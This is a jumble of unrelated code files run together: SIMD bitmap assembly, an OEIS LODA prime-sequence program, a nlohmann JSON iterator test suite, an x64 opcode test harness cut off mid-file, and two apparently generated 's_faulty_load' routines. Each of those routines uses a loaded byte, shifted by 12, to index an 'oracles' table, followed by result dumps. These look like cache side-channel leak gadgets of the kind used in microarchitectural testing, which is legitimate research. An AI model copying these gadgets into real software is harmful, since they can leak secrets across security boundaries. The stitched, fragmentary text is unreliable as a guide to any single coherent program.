[rsp] jl .height_loop ADD rsp, gprsize RET %if ARCH_X86_64 %macro SUB_BITMAPS 0 cglobal sub_bitmaps, 6,10 .skip_prologue: cmp r5, mmsize %if mmsize == 16 jl sub_bitmaps_x86.skip_prologue %else jl sub_bitmaps_sse2.skip_prologue %endif %if mmsize == 32 vzeroupper %endif imul r4, r3 add r4, r2 ; last address mov r7, r5 and r7, -mmsize ; &= (16); xor r9, r9 .height_loop: xor r6, r6 ; x offset .stride_loop: movu m0, [r0 + r6] movu m1, [r2 + r6] psubusb m0, m1 movu [r0 + r6], m0 add r6, mmsize cmp r6, r7 jl .stride_loop ; still in scan line .stride_loop2 cmp r6, r5 jge .finish movzx r8, byte [r0 + r6] sub r8b, byte [r2 + r6] cmovc r8, r9 mov byte [r0 + r6], r8b inc r6 jmp .stride_loop2 .finish add r0, r1 add r2, r3 cmp r2, r4 jl .height_loop RET %endmacro INIT_XMM sse2 SUB_BITMAPS INIT_YMM avx2 SUB_BITMAPS ;------------------------------------------------------------------------------ ; void mul_bitmaps( uint8_t *dst, intptr_t dst_stride, ; uint8_t *src1, intptr_t src1_stride, ; uint8_t *src2, intptr_t src2_stride, ; intptr_t width, intptr_t height ); ;------------------------------------------------------------------------------ INIT_XMM cglobal mul_bitmaps_x86, 8,12 .skip_prologue: imul r7, r3 add r7, r2 ; last address .height_loop: xor r8, r8 ; x offset .stride_loop: movzx r9, byte [r2 + r8] movzx r10, byte [r4 + r8] imul r9, r10 add r9, 255 shr r9, 8 mov byte [r0 + r8], r9b inc r8 cmp r8, r6 jl .stride_loop ; still in scan line add r0, r1 add r2, r3 add r4, r5 cmp r2, r7 jl .height_loop RET INIT_XMM sse2 cglobal mul_bitmaps, 8,12 .skip_prologue: cmp r6, 8 jl mul_bitmaps_x86.skip_prologue imul r7, r3 add r7, r2 ; last address pxor xmm2, xmm2 movdqa xmm3, [words_255 wrt rip] mov r9, r6 and r9, -8 ; &= (~8); .height_loop: xor r8, r8 ; x offset .stride_loop: movq xmm0, [r2 + r8] movq xmm1, [r4 + r8] punpcklbw xmm0, xmm2 punpcklbw xmm1, xmm2 pmullw xmm0, xmm1 paddw xmm0, xmm3 psrlw xmm0, 0x08 packuswb xmm0, xmm0 movq [r0 + r8], xmm0 add r8, 8 cmp r8, r9 jl .stride_loop ; still in scan line .stride_loop2 cmp r8, r6 jge .finish movzx r10, byte [r2 + r8] movzx r11, byte [r4 + r8] imul r10, r11 add r10, 255 shr r10, 8 mov byte [r0 + r8], r10b inc r8 jmp .stride_loop2 .finish: add r0, r1 add r2, r3 add r4, r5 cmp r2, r7 jl .height_loop RET INIT_YMM avx2 cglobal mul_bitmaps, 8,12 cmp r6, 16 jl mul_bitmaps_sse2.skip_prologue %if mmsize == 32 vzeroupper %endif imul r7, r3 add r7, r2 ; last address vpxor ymm2, ymm2 vmovdqa ymm3, [words_255 wrt rip] mov r9, r6 and r9, -16 ; &= (~16); .height_loop: xor r8, r8 ; x offset .stride_loop: vmovdqu xmm0, [r2 + r8] vpermq ymm0, ymm0, 0x10 vmovdqu xmm1, [r4 + r8] vpermq ymm1, ymm1, 0x10 vpunpcklbw ymm0, ymm0, ymm2 vpunpcklbw ymm1, ymm1, ymm2 vpmullw ymm0, ymm0, ymm1 vpaddw ymm0, ymm0, ymm3 vpsrlw ymm0, ymm0, 0x08 vextracti128 xmm4, ymm0, 0x1 vpackuswb ymm0, ymm0, ymm4 vmovdqa [r0 + r8], xmm0 add r8, 16 cmp r8, r9 jl .stride_loop ; still in scan line .stride_loop2 cmp r8, r6 jge .finish movzx r10, byte [r2 + r8] movzx r11, byte [r4 + r8] imul r10, r11 add r10, 255 shr r10, 8 mov byte [r0 + r8], r10b inc r8 jmp .stride_loop2 .finish: add r0, r1 add r2, r3 add r4, r5 cmp r2, r7 jl .height_loop RET %endif
; A214890: Primes congruent to {2, 3} mod 17. ; Submitted by Jamie Morken(w1) ; 2,3,19,37,53,71,139,173,223,241,257,359,461,479,547,563,631,683,733,751,853,887,937,971,1039,1091,1193,1277,1447,1481,1499,1549,1567,1583,1601,1669,1753,1787,1873,1889,1907,2111,2161,2179,2213,2281,2297,2383,2399,2417,2467,2621,2671,2689,2791,2909,2927,3011,3079,3181,3301,3539,3607,3623,3691,3709,3793,3929,3947,4049,4099,4133,4201,4219,4253,4337,4423,4457,4507,4643,4729,4813,4831,4933,4967,5051,5119,5153,5171,5273,5323,5443,5477,5527,5647,5749,5783,5851,5867,5953 mov $1,1 mov $2,332202 mov $5,1 mov $6,2 lpb $2 pow $1,4 mov $3,$6 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,3 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,18 sub $5,3 add $5,$1 gcd $1,2 mov $6,$5 lpe mov $0,$5 add $0,1
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r8 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x615b, %rdi nop dec %rdx mov $0x6162636465666768, %rsi movq %rsi, (%rdi) nop nop nop nop nop xor %r9, %r9 lea addresses_WT_ht+0xc8fb, %rsi lea addresses_WT_ht+0x197e7, %rdi clflush (%rdi) nop nop nop cmp %r14, %r14 mov $86, %rcx rep movsb nop nop nop nop add $59346, %rdx lea addresses_WC_ht+0x1525b, %r14 nop nop nop nop cmp %r15, %r15 mov $0x6162636465666768, %rdx movq %rdx, %xmm1 movups %xmm1, (%r14) nop nop nop nop add %rdi, %rdi lea addresses_WC_ht+0x17b5b, %rsi clflush (%rsi) nop nop nop dec %rdi mov (%rsi), %r15w dec %r9 lea addresses_WT_ht+0x6a2f, %rsi lea addresses_WT_ht+0x615b, %rdi nop nop nop nop cmp %rdx, %rdx mov $3, %rcx rep movsw nop nop nop inc %rdi lea addresses_WC_ht+0x685b, %rdi nop and %rcx, %rcx and $0xffffffffffffffc0, %rdi vmovaps (%rdi), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %rsi nop nop xor %rdi, %rdi lea addresses_UC_ht+0x1b1cb, %rsi lea addresses_UC_ht+0x1415b, %rdi nop nop sub $57914, %r8 mov $103, %rcx rep movsl nop nop nop cmp %rdi, %rdi lea addresses_WC_ht+0x162ab, %rdx nop nop nop and $61281, %r14 mov (%rdx), %r8w nop nop nop nop xor %r15, %r15 lea addresses_A_ht+0x3dc3, %rdx nop xor %r14, %r14 movb $0x61, (%rdx) nop nop sub $51000, %r14 lea addresses_UC_ht+0xca1b, %r14 nop add $57134, %rdi mov (%r14), %rcx nop nop nop nop sub $7955, %rdx lea addresses_A_ht+0x122db, %rsi lea addresses_D_ht+0x2ad4, %rdi add %r9, %r9 mov $114, %rcx rep movsl nop nop xor $62827, %r8 lea addresses_A_ht+0x1215b, %rsi clflush (%rsi) and %rdx, %rdx movups (%rsi), %xmm5 vpextrq $0, %xmm5, %r14 nop nop nop nop and $13916, %r14 lea addresses_WT_ht+0x1715b, %rsi lea addresses_WC_ht+0x19535, %rdi nop nop nop nop nop dec %r9 mov $54, %rcx rep movsb nop nop xor $14476, %r14 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r9 push %rbp push %rbx // Faulty Load lea addresses_A+0x615b, %r9 nop nop nop sub %r14, %r14 movb (%r9), %r13b lea oracles, %rbp and $0xff, %r13 shlq $12, %r13 mov (%rbp,%r13,1), %r13 pop %rbx pop %rbp pop %r9 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
/* __ _____ _____ _____ __| | __| | | | JSON for Modern C++ (test suite) | | |__ | | | | | | version 3.10.0 |_____|_____|_____|_|___| https://github.com/nlohmann/json Licensed under the MIT License <http://opensource.org/licenses/MIT>. SPDX-License-Identifier: MIT Copyright (c) 2013-2019 Niels Lohmann <http://nlohmann.me>. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "doctest_compatibility.h" #define JSON_TESTS_PRIVATE #include <nlohmann/json.hpp> using nlohmann::json; TEST_CASE("iterator class") { SECTION("construction") { SECTION("constructor") { SECTION("null") { json j(json::value_t::null); json::iterator it(&j); } SECTION("object") { json j(json::value_t::object); json::iterator it(&j); } SECTION("array") { json j(json::value_t::array); json::iterator it(&j); } } SECTION("copy assignment") { json j(json::value_t::null); json::iterator it(&j); json::iterator it2(&j); it2 = it; } } SECTION("initialization") { SECTION("set_begin") { SECTION("null") { json j(json::value_t::null); json::iterator it(&j); it.set_begin(); CHECK((it == j.begin())); } SECTION("object") { json j(json::value_t::object); json::iterator it(&j); it.set_begin(); CHECK((it == j.begin())); } SECTION("array") { json j(json::value_t::array); json::iterator it(&j); it.set_begin(); CHECK((it == j.begin())); } } SECTION("set_end") { SECTION("null") { json j(json::value_t::null); json::iterator it(&j); it.set_end(); CHECK((it == j.end())); } SECTION("object") { json j(json::value_t::object); json::iterator it(&j); it.set_end(); CHECK((it == j.end())); } SECTION("array") { json j(json::value_t::array); json::iterator it(&j); it.set_end(); CHECK((it == j.end())); } } } SECTION("element access") { SECTION("operator*") { SECTION("null") { json j(json::value_t::null); json::iterator it = j.begin(); CHECK_THROWS_AS(*it, json::invalid_iterator&); CHECK_THROWS_WITH(*it, "[json.exception.invalid_iterator.214] cannot get value"); } SECTION("number") { json j(17); json::iterator it = j.begin(); CHECK(*it == json(17)); it = j.end(); CHECK_THROWS_AS(*it, json::invalid_iterator&); CHECK_THROWS_WITH(*it, "[json.exception.invalid_iterator.214] cannot get value"); } SECTION("object") { json j({{"foo", "bar"}}); json::iterator it = j.begin(); CHECK(*it == json("bar")); } SECTION("array") { json j({1, 2, 3, 4}); json::iterator it = j.begin(); CHECK(*it == json(1)); } } SECTION("operator->") { SECTION("null") { json j(json::value_t::null); json::iterator it = j.begin(); CHECK_THROWS_AS(std::string(it->type_name()), json::invalid_iterator&); CHECK_THROWS_WITH(std::string(it->type_name()), "[json.exception.invalid_iterator.214] cannot get value"); } SECTION("number") { json j(17); json::iterator it = j.begin(); CHECK(std::string(it->type_name()) == "number"); it = j.end(); CHECK_THROWS_AS(std::string(it->type_name()), json::invalid_iterator&); CHECK_THROWS_WITH(std::string(it->type_name()), "[json.exception.invalid_iterator.214] cannot get value"); } SECTION("object") { json j({{"foo", "bar"}}); json::iterator it = j.begin(); CHECK(std::string(it->type_name()) == "string"); } SECTION("array") { json j({1, 2, 3, 4}); json::iterator it = j.begin(); CHECK(std::string(it->type_name()) == "number"); } } } SECTION("increment/decrement") { SECTION("post-increment") { SECTION("null") { json j(json::value_t::null); json::iterator it = j.begin(); CHECK((it.m_it.primitive_iterator.m_it == 1)); it++; CHECK((it.m_it.primitive_iterator.m_it != 0 && it.m_it.primitive_iterator.m_it != 1)); } SECTION("number") { json j(17); json::iterator it = j.begin(); CHECK((it.m_it.primitive_iterator.m_it == 0)); it++; CHECK((it.m_it.primitive_iterator.m_it == 1)); it++; CHECK((it.m_it.primitive_iterator.m_it != 0 && it.m_it.primitive_iterator.m_it != 1)); } SECTION("object") { json j({{"foo", "bar"}}); json::iterator it = j.begin(); CHECK((it.m_it.object_iterator == it.m_object->m_value.object->begin())); it++; CHECK((it.m_it.object_iterator == it.m_object->m_value.object->end())); } SECTION("array") { json j({1, 2, 3, 4}); json::iterator it = j.begin(); CHECK((it.m_it.array_iterator == it.m_object->m_value.array->begin())); it++; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); it++; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); it++; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); it++; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator == it.m_object->m_value.array->end())); } } SECTION("pre-increment") { SECTION("null") { json j(json::value_t::null); json::iterator it = j.begin(); CHECK((it.m_it.primitive_iterator.m_it == 1)); ++it; CHECK((it.m_it.primitive_iterator.m_it != 0 && it.m_it.primitive_iterator.m_it != 1)); } SECTION("number") { json j(17); json::iterator it = j.begin(); CHECK((it.m_it.primitive_iterator.m_it == 0)); ++it; CHECK((it.m_it.primitive_iterator.m_it == 1)); ++it; CHECK((it.m_it.primitive_iterator.m_it != 0 && it.m_it.primitive_iterator.m_it != 1)); } SECTION("object") { json j({{"foo", "bar"}}); json::iterator it = j.begin(); CHECK((it.m_it.object_iterator == it.m_object->m_value.object->begin())); ++it; CHECK((it.m_it.object_iterator == it.m_object->m_value.object->end())); } SECTION("array") { json j({1, 2, 3, 4}); json::iterator it = j.begin(); CHECK((it.m_it.array_iterator == it.m_object->m_value.array->begin())); ++it; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); ++it; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); ++it; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); ++it; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator == it.m_object->m_value.array->end())); } } SECTION("post-decrement") { SECTION("null") { json j(json::value_t::null); json::iterator it = j.end(); CHECK((it.m_it.primitive_iterator.m_it == 1)); } SECTION("number") { json j(17); json::iterator it = j.end(); CHECK((it.m_it.primitive_iterator.m_it == 1)); it--; CHECK((it.m_it.primitive_iterator.m_it == 0)); it--; CHECK((it.m_it.primitive_iterator.m_it != 0 && it.m_it.primitive_iterator.m_it != 1)); } SECTION("object") { json j({{"foo", "bar"}}); json::iterator it = j.end(); CHECK((it.m_it.object_iterator == it.m_object->m_value.object->end())); it--; CHECK((it.m_it.object_iterator == it.m_object->m_value.object->begin())); } SECTION("array") { json j({1, 2, 3, 4}); json::iterator it = j.end(); CHECK((it.m_it.array_iterator == it.m_object->m_value.array->end())); it--; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); it--; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); it--; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); it--; CHECK((it.m_it.array_iterator == it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); } } SECTION("pre-decrement") { SECTION("null") { json j(json::value_t::null); json::iterator it = j.end(); CHECK((it.m_it.primitive_iterator.m_it == 1)); } SECTION("number") { json j(17); json::iterator it = j.end(); CHECK((it.m_it.primitive_iterator.m_it == 1)); --it; CHECK((it.m_it.primitive_iterator.m_it == 0)); --it; CHECK((it.m_it.primitive_iterator.m_it != 0 && it.m_it.primitive_iterator.m_it != 1)); } SECTION("object") { json j({{"foo", "bar"}}); json::iterator it = j.end(); CHECK((it.m_it.object_iterator == it.m_object->m_value.object->end())); --it; CHECK((it.m_it.object_iterator == it.m_object->m_value.object->begin())); } SECTION("array") { json j({1, 2, 3, 4}); json::iterator it = j.end(); CHECK((it.m_it.array_iterator == it.m_object->m_value.array->end())); --it; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); --it; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); --it; CHECK((it.m_it.array_iterator != it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); --it; CHECK((it.m_it.array_iterator == it.m_object->m_value.array->begin())); CHECK((it.m_it.array_iterator != it.m_object->m_value.array->end())); } } } }
.global s_prepare_buffers s_prepare_buffers: push %r11 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0xeee, %rsi lea addresses_WT_ht+0x108ee, %rdi nop nop nop nop nop xor $4434, %rbp mov $121, %rcx rep movsl nop inc %rcx lea addresses_WC_ht+0x12b76, %rdx and %rcx, %rcx mov (%rdx), %r11w nop nop nop inc %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %rax push %rbp push %rsi // Faulty Load lea addresses_UC+0xa6ee, %r13 nop xor %rsi, %rsi movb (%r13), %al lea oracles, %r13 and $0xff, %rax shlq $12, %rax mov (%r13,%rax,1), %rax pop %rsi pop %rbp pop %rax pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': True, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3}} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
RECDATA64 STRUCT OPERAND DQ(2) dup(?) RESULT DQ(4) dup(?) FLAG DQ(2) dup(?) RECDATA64 ENDS __ENTER MACRO push rbp mov rbp,rsp push rax push rcx push rdx push rbx push rsi push rdi pushf mov rsi,RCX ; // Microsoft x64 calling convention mov rax,(RECDATA64 PTR [rsi]).OPERAND[0] mov rcx,(RECDATA64 PTR [rsi]).OPERAND[8] mov rdx,0 mov rbx,0 push (RECDATA64 PTR [rsi]).FLAG[0] popf ENDM __LEAVE MACRO mov (RECDATA64 PTR [rsi]).RESULT[0],rax mov (RECDATA64 PTR [rsi]).RESULT[8],rdx mov (RECDATA64 PTR [rsi]).RESULT[16],rcx mov (RECDATA64 PTR [rsi]).RESULT[24],rbx pushf pop (RECDATA64 PTR [rsi]).FLAG[8] popf pop rdi pop rsi pop rbx pop rdx pop rcx pop rax mov rsp,rbp pop rbp ret ENDM _TEXT SEGMENT ;################################ ; ADD ;################################ op_add PROC __ENTER add rax,rcx __LEAVE op_add ENDP ;################################ ; SUB ;################################ op_sub PROC __ENTER sub rax,rcx __LEAVE op_sub ENDP ;################################ ; ADC ;################################ op_adc PROC __ENTER adc rax,rcx __LEAVE op_adc ENDP ;################################ 